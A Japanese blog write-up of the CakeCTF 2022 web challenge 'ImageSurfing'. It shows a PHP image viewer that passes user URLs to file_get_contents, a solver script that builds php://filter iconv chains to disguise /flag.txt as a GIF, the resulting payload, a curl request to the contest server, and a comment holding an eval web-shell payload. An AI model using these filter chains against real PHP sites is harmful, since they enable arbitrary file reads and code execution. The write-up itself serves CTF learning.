LoginSignup
0
0

More than 1 year has passed since last update.

CakeCTF 2022 Writeup (Web - ImageSurfing のみ)

Posted at

2022/09/03 14:00 〜 2022/09/04 14:00 (JST) の日程で開催された CakeCTF に参加しました。13問解いて14位でした。

ちょっと忙しくて全問書いている時間がないので、ImageSurfing だけ書こうと思います。

tasks.png
graph.png

Writeup

Web - [427pts] ImageSurfing (3 Solves)

bodega cat

attachment: imagesurfing_02988f6765613ed488341854d867eb10.tar.gz

添付ファイルを展開すると、Dockerfile、flag.txt、index.php の3つが出てきた。index.php はこんな感じ。

index.php
<?php
const IMAGE_MIME = ['image/jpeg', 'image/png', 'image/gif'];

function get_image($url) {
    /* Open URL */
    $data = @file_get_contents($url);
    if ($data == false)
        return array("Cannot fetch file", false);

    /* Check file size */
    if (strlen($data) > 1024*1024*16)
        return array("File size is too large", false);

    /* Get mime type */
    $tmp = tmpfile();
    fwrite($tmp, $data);
    fflush($tmp);
    $mime = mime_content_type(stream_get_meta_data($tmp)['uri']);
    fclose($tmp);

    /* Check */
    if (in_array($mime, IMAGE_MIME)) {
        return array($mime, $data);
    } else {
        return array("Invalid image file", false);
    }
}

if (!empty($_GET['url'])) {
    list($mime, $img) = get_image($_GET['url']);
    if ($img === false) {
        $err = $mime;
    }
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>ImageSurfing</title>
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/purecss@2.1.0/build/pure-min.css" integrity="sha384-yHIFVG6ClnONEA5yB5DJXfW2/KC173DIQrYoZMEtBvGzmf0PKiGyNEqe9N6BNDBH" crossorigin="anonymous">
    </head>
    <body style="text-align: center;">
        <h1>Image Viewer</h1>
        <form class="pure-form" action="/" method="GET">
            <input type="text" placeholder="URL" name="url" style="width: 50%"
                   value="<?= empty($_GET['url'])
                            ? "https://c.tenor.com/NFjEeHbk-zwAAAAC/cat.gif"
                            : htmlspecialchars($_GET['url']) ?>">
            <input class="pure-button pure-button-primary"
                   type="submit" value="View!">
        </form>
        <br>
        <?php if (isset($err)) { ?>
            <p>Error: <?= htmlspecialchars($err) ?></p>
        <?php } ?>
        <?php if (!empty($img)) { ?>
            <img alt="<?php htmlspecialchars($_GET['url']) ?>"
                 style="max-width: 30%;"
                 src="data:<?= $mime ?>;base64,<?= base64_encode($img) ?>">
        <?php } ?>
    </body>
</html>

たったこれだけ。簡単な流れはこんな感じ。

  1. url パラメータに指定された値を引数に file_get_contents を呼ぶ
  2. 取得した値のマジックナンバーを読み取って MIME-Type を求め、IMAGE_MIME に含まれていなければ Invalid
  3. IMAGE_MIME と一致するならBase64エンコードして表示

フラグはDockerfileに書いてあり、/flag.txt にあるらしい。

まず怪しい点としてはここ。

function get_image($url) {
    /* Open URL */
    $data = @file_get_contents($url);
    if ($data == false)
        return array("Cannot fetch file", false);
    
    :

file_get_contents は直接呼び出すと危険で、http だけでなく色々なスキームをサポートしているため色々できてしまう。特に php:// のスキームでは色々なことができる。
ここらへんが参考になった。

この中でも php://filter という部分に着目すると、様々なフィルタを適用することができるとわかる。フラグを読んだ後、何らかのフィルタ処理を施して、なんとかして出力できれば良いのでは?と想像できる。

このフィルタを使ってなにかできないかとググっていたら、こんなものを見つけた。(php filter base64 ctf とかで調べてたらしい)

ざっくりいうと、フィルタをあれこれすることで任意の文字を追加できるというもの。convert.iconv.UTF8.CSISO2022KR というフィルタを追加すると \x1b$)C が先頭に追加され、それを convert.base64-decode することで余計なバイト列を無視できる。とかそんな感じ。(ちゃんと理解してない)

手元で試してみると、確かに追加できている。

$ cat flag.txt
FakeCTF{neko!}

$ php -a
Interactive mode enabled

php > echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2/resource=flag.txt");
8FakeCTF{neko!}

となれば、任意の文字列を先頭に付加して、IMAGE_MIME のタイプに合うようにできれば良いのではなかろうか。

許可されている MIME-Type のマジックナンバーを調べてみると以下の通り。

Type Magic number
image/jpeg \xff\xd8\xdd\xe0
image/png \x89PNG
image/gif GIF89

この中で、image/gif のマジックナンバーは Base64 として使用できる文字のみで構成されていることがわかる。

試しに GIT89 をフラグの先頭に追加して実行するとどうなるか、手元のPHPを実行してやってみた。

$ php -a
Interactive mode enabled

php > $data = "GIF89CakeCTF{neko!}";
php >
php > $tmp = tmpfile();
php > fwrite($tmp, $data);
php > fflush($tmp);
php > $mime = mime_content_type(stream_get_meta_data($tmp)['uri']);
php > fclose($tmp);
php >
php > echo $mime;
image/gif

こうすることで image/gif と判定された。(ちなみに GIF8 でも大丈夫だった)

あとは php://filter の変換を駆使して GIF89 を作れれば良いのだが、このとき大会終了まで残り1時間。流石に私の力ではどうしようもなさそうだった。

そこで convert.iconv.UTF8.CSISO2022KR が肝と判断してググってみると、以下のリポジトリを見つけた。(たぶんここがハイライト。このリポジトリ見つけたのデカい)

先程の記事を参考にファジングしたものを公開してくれていた。さらにはご丁寧にPythonスクリプトまである(ヨッシャ)

このテストスクリプトをいじってうまく刺さる形にできればOK。フラグにはBase64で使用できない文字が含まれているので、まず最初にBase64エンコードしておくことでエラーを回避した。(不要だったかもしれない)

solver.py
-file_to_use = "/etc/passwd"
+file_to_use = "/flag.txt"
 
 #<?php eval($_GET[1]);?>a
-base64_payload = "PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h"
+base64_payload = "GIF89"
 
 # generate some garbage base64
-filters = "convert.iconv.UTF8.CSISO2022KR|"
+filters = "convert.base64-encode|"
+filters += "convert.iconv.UTF8.CSISO2022KR|"
 filters += "convert.base64-encode|"
 # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
 filters += "convert.iconv.UTF8.UTF7|"
 
 
 for c in base64_payload[::-1]:
-        filters += open('./res/'+c).read() + "|"
+        filters += open('./PHP_INCLUDE_TO_SHELL_CHAR_DICT/res/'+c).read() + "|"
         # decode and reencode to get rid of everything that isn't valid base64
         filters += "convert.base64-decode|"
         filters += "convert.base64-encode|"
         # get rid of equal signs
         filters += "convert.iconv.UTF8.UTF7|"
 
-filters += "convert.base64-decode"
 
 final_payload = f"php://filter/{filters}/resource={file_to_use}"

これを実行すると以下のようなペイロードが得られる。これを投げつけることでフラグが得られるはず。

$ python3 solver.py
php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=/flag.txt

$ curl -sSG --data-urlencode "url=$(python3 solver.py)" http://web1.2022.cakectf.com:8001/ | grep 'src="data:'
                 src="data:image/gif;base64,R0lGODlHeVFwUTFFeVJuSmFWVTVWVW01MFVWTkdRbVphYWtaelpFUk9lVmg1Um5wWU1rNUpUa1JDTUUxWFRtTkxSalYyV0dscmRtWlJiejA=">

できた。あとは慎重に得られたBase64文字列をデコードしていけばフラグが得られる。

$ echo 'R0lGODlHeVFwUTFFeVJuSmFWVTVWVW01MFVWTkdRbVphYWtaelpFUk9lVmg1Um5wWU1rNUpUa1JDTUUxWFRtTkxSalYyV0dscmRtWlJiejA=' | base64 -d
GIF89GyQpQ1EyRnJaVU5VUm50UVNGQmZaakZzZEROeVh5RnpYMk5JTkRCME1XTmNLRjV2WGlrdmZRbz0

# remove 'GIF89'
$ echo 'GyQpQ1EyRnJaVU5VUm50UVNGQmZaakZzZEROeVh5RnpYMk5JTkRCME1XTmNLRjV2WGlrdmZRbz0' | base64 -d
Q2FrZUNURntQSFBfZjFsdDNyXyFzX2NINDB0MWNcKF5vXikvfQo=base64: 無効な入力

$ echo 'Q2FrZUNURntQSFBfZjFsdDNyXyFzX2NINDB0MWNcKF5vXikvfQo=' | base64 -d
CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}

FLAG: CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}

感想

昨年もCakeCTFに参加しましたが、毎度問題の質が高く勉強になることが多くて楽しいです。来年もあれば参加したいです。

ImageSurfing は Solve数少なくて自分には手が届かないと思って問題を見てなかったのですが、終了1時間半前にちらっと覗いたら、PHPファイル一つだけで「えっ?」ってなりました。諦めない心大事。

あとアンケートで「OpenBio 解くの面倒で嫌い」みたいなこと書いたのですが、他の方のWriteup見たら簡単に解けてたので、私の解き方が悪かっただけでした。失礼しました。
(私がやったときは CSP の connect-src ディレクティブに阻まれて外部ドメインに送れなかったような気がしてました。勘違いだったのかな…)

最後に、開催してくださった運営の皆様、本当にお疲れ様でした。ありがとうございました!(全問書けなくてごめんなさい!)

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0